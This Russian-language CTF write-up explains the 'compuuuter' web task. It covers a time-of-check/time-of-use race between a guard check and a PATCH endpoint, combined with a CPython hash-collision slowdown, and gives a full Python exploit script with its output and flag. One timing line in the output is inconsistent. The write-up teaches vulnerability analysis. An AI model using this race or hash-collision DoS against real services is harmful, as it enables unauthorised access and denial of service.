Райтап на «compuuuter» — гонка между проверкой и вычислением графа

13 ноября 2026
  • Категория: Web

  • Уязвимость: TOCTOU

  • Баллы: 100

Текст задания:

I build a new scratch competitor

Анализ исходного кода

Содержимое app.py:

There is a hidden opcode, type 1337, whose output is the flag (the flag bytes as
a little-endian integer). Normal users are not allowed to use it: the very first
thing ``compute`` does is check that no node has type 1337. Only *after* that
check passes does it build its node table and evaluate. What could go wrong?

Перевод:

Существует скрытый опкод с типом 1337, результатом выполнения которого является флаг (байты флага, представленные в виде целого числа в формате little-endian). Обычным пользователям использовать его нельзя: первым делом функция compute проверяет, нет ли в системе узлов с типом 1337. И только после успешного прохождения этой проверки она формирует таблицу узлов и приступает к вычислениям. Что здесь может пойти не так?

Фраза «Only after that check passes does it build its node table and evaluate» — это прямая наводка на [1]TOCTOU (Time-Of-Check to Time-Of-Use).

Содержимое def compute:

def compute(nodes):
    # МОМЕНТ ПРОВЕРКИ: флаг операции (opcode) должен отсутствовать.
    guard(nodes)

    # Индексировать узлы по их идентификаторам...
    nmap = {}
    for node in nodes:
        nmap[node["id"]] = node

    memo = {}
    def evaluate(nid, stack):
        node = nmap.get(nid)
        ...
        # МОМЕНТ ИСПОЛЬЗОВАНИЯ: здесь поля узла считываются в режиме реального времени.
        t = node["type"]
        if t == T_FLAG:
            val = FLAG_INT
        ...

Анализ: в момент проверки флага node["type"] ещё не прочитан. Значит, его можно поменять.

Содержимое эндпоинтов:

@app.post("/api/graph")
def upload_graph():
    ...
    nodes = parse_nodes(body.get("nodes"))
    guard(nodes)  # проверка
    ...

@app.patch("/api/graph/<gid>")
def patch_graph(gid):
    ...
    patch = parse_node(body)  # небольшая правка - проверка флага здесь отсутствует
    ...
    for node in nodes:
        if node["id"] == patch["id"]:
            # Измените существующий узел на месте.
            node["type"] = patch["type"]
            node["args"] = patch["args"]

Анализ: в upload проверка guard есть.

В patch комментарий «проверка флага здесь отсутствует» — это ещё одна подсказка. Патч правит nodes, который потом читает def compute. Никаких блокировок в PATCH нет — GRAPHS_LOCK используется только при создании графа, а не при патче/чтении.

Итог:

  • POST /api/graph — проверяет type != 1337;

  • PATCH /api/graph/<gid> — не проверяется;

  • POST /api/graph/<gid>/compute — сначала guard(), потом долго что-то делает, потом читает node["type"].

Гипотеза: загрузить граф без 1337, тогда запустится compute, после пройдёт guard. В этот момент начать состояние гонки: сделать PATCH и поставить type: 1337 на узел, до которого evaluate дойдёт позже. Получить FLAG_INT в ответе.

Решение возникшихся проблем

Проблема 1: compute на обычном графе отрабатывает за миллисекунды, и PATCH прилетит либо до guard (тогда compute вернёт the flag operation (type 1337) is not available), либо уже после того, как узел посчитан как const 0.

Подсказка в app.py:

# On 64-bit CPython, hash(n) == n % (2**61 - 1) for non-negative ints.
assert sys.hash_info.modulus == 2 ** 61 - 1, "run me on 64-bit CPython"

Это не случайный assert. Он намекает на классическую проблему: hash-collision DoS. В CPython hash(n) для целых n — это n mod (2^61 - 1). Значит, все числа вида 0, M, 2M, 3M, … (M = 2^61 - 1) имеют одинаковый хеш 0.

Анализ compute:

nmap = {}
for node in nodes:
    nmap[node["id"]] = node

При вставке N ключей с одинаковым хешем каждая вставка вынуждена пройти по всей цепочке: O(N) на вставку — O(N²) суммарно. Второй проход evaluate для каждого узла делает nmap.get(nid) — тоже O(N), ещё один O(N²).

То есть при N = 15000 и {0, M, 2M, …} фаза nmap в compute крутится несколько секунд — этого достаточно, чтобы успеть сделать PATCH.

Проблема 2: если target стоит первым — evaluate может отработать его раньше, чем мы пошлём PATCH, и вернёт 0.

Решение: поставить target последним — он будет читать свой type уже после подмены и вернёт FLAG_INT.

Эксплоит

import sys, time, threading, requests

BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "«URL»"
M = 2**61 - 1

def build_graph(N):
    nodes = [{"id": k * M, "type": 2} for k in range(N)]
    target_id = N * M
    nodes.append({"id": target_id, "type": 2})
    return nodes, target_id

def do_compute(gid, box, t0):
    try:
        r = requests.post(f"{BASE}/api/graph/{gid}/compute", timeout=180)
        box.append((r, time.time() - t0))
    except Exception as e:
        box.append((e, time.time() - t0))

def attempt(N, sleep):
    print(f"\n=== N={N}     sleep={sleep}s ===")
    nodes, target_id = build_graph(N)
    t0 = time.time()
    r = requests.post(f"{BASE}/api/graph", json={"nodes": nodes}, timeout=180)
    up = time.time() - t0
    print(f"upload: {r.status_code} in {up:.2f}s     ({len(nodes)} nodes)")
    if r.status_code != 200:
        print("   fail:", r.text[:200]); return None
    gid = r.json()["id"]

    box = []
    ts = time.time()
    th = threading.Thread(target=do_compute, args=(gid, box, ts), daemon=True)
    th.start()

    time.sleep(sleep)
    pr = requests.patch(
        f"{BASE}/api/graph/{gid}",
        json={"id": target_id, "type": 1337, "args": []},
        timeout=60,
    )
    print(f"patch: {pr.status_code} at t={time.time()-ts:.2f}s")

    th.join(timeout=200)
    if not box:
        print("     compute never returned"); return None
    res, td = box[0]
    if isinstance(res, Exception):
        print(f"    compute exc at t={td-ts:.2f}s: {res}"); return None
    print(f"compute: {res.status_code} at t={td-ts:.2f}s")
    if res.status_code != 200:
        print("     ", res.text[:200]); return None
    val = int(res.json()["results"][str(target_id)])
    print(f"target = {val}")
    if val == 0:
        print("     (patch, видимо, был слишком поздно)"); return None
    raw = val.to_bytes((val.bit_length() + 7) // 8, "little")
    return raw.decode(errors="replace")

for N, sleep in [
    (15000, 0.5),
    (15000, 1.0),
    (20000, 1.0),
    (20000, 2.0),
    (30000, 2.0),
    (10000, 0.3),
]:
    flag = attempt(N, sleep)
    if flag:
        print(f"\n[+] FLAG: {flag}")
        break

Получение флага

python3 exploit.py
=== N=15000    sleep=0.5s ===
upload: 200 in 87.45s      (15001 nodes)
patch: 200 at t=0.80s
compute: 200 at t=-1793702822.66s
target = 91014927778188996304690805199267959931957186356337227542142370648360476694628291313276155134891921834033890579311712716841214279871263843

[+] FLAG: ctfcup{9cd591ac67dd2dc2b6f439b2c88617be_680341af6de60eb8}

[1] TOCTOU (Time-of-Check to Time-of-Use — «от времени проверки до времени использования») — это класс программных ошибок и уязвимостей безопасности, возникающих из-за состояния гонки (race condition). Она появляется тогда, когда программа проверяет состояние какого-либо ресурса (например, файла, прав доступа или переменной), а затем использует этот ресурс, но в промежутке между проверкой и использованием состояние ресурса успевает измениться.

Если вы нашли опечатку или ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter

Также по теме:

Просмотр файлов

/Разборы задач

Райтап на задачу «Просмотр файлов»

Разбор причины Path Traversal в файловом сервисе на Flask и пример проверки пути внутри разрешённого каталога.
Прочитать

33

Райтап на задачу «LoveTime» с TaipanByte CTF

/Разборы задач

Райтап на задачу «LoveTime» с TaipanByte CTF

Разбираем Web-задачу LoveTime: исследуем параметр format, подтверждаем выполнение PHP-кода и читаем файл с флагом через суперглобальный массив и chr().
Прочитать

57